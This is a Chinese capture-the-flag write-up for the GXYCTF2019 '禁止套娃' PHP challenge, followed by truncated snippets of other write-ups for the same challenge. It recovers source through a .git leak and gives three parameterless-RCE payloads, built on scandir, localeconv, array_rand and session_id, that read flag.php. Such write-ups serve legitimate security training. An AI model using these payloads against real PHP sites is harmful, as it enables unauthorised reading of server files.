爬
毛都沒有,唯一的發現是php
然後隨便輸一下發現是nginx/1.14.2
但是仍然沒有什麼用
然後發現是git洩露,上githack
審計index.php
第一層過濾了各種偽協議
第二層把最內層括號中間的東西取了出來,然後替換為null,並保證了不能有多餘的東西,也就是其他師傅所說的無引數rce
第三層過濾了常用的命令執行函式
以下為構造過程:
localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。而陣列第一項就是.
current() 返回陣列中的當前單元, 預設取第乙個值。
> current(localeconv()) 返回乙個點
檢視目錄:
大致三種做法:
1 通過打亂陣列順序讀flag.php
> readfile(array_rand(array_flip(scandir(current(localeconv())))));
2 利用陣列反轉和high_light()
> ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
3 利用session並讀取
> ?exp=show_source(session_id(session_start()));
GXYCTF2019 禁止套娃
剛開始不知道幹嘛,就註冊做題思路,掃目錄,抓包,都沒上面思路,後面嘗試了下,git 洩露用githack掃一下 githack.py得到index.php include flag.php echo flag在 呢?if isset get exp else else else highlight ...
GXYCTF2019 禁止套娃 WP
用githack.py跑一下得到原始碼index.php include flag.php echo flag在 呢?if isset get exp else else else highlight file file 其中有三個過濾,第乙個過濾了常見的php偽協議。第二個這種正則,就是我們說的無...
刷題 GXYCTF2019 禁止套娃
開啟 發現很簡單,只有flag在 的字樣。檢視原始碼,常用後台目錄,robots.txt,都未發現有任何東西。直接拉進掃瞄器一掃,發現 思考可能是git原始碼洩露,可能可以恢復原始碼。github上有很多優秀的git恢復工具。在這裡推薦兩款 git extract 和githack。都支援diffe...